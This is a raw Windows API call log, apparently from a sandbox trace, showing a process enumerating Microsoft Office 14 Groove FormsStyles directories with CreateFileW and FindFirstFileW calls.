	[0052.661] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.662] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.666] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.667] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.670] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.671] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.675] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.677] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.678] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5291c2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.698] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.887] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb8e810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.908] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.943] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x519a33f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f690dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f690dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.944] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.946] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.947] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51da7910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60760930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.994] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c3bfd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61ab7bf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.995] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x568309f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66293410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b22b3b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.998] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a9f29b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2e6230, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
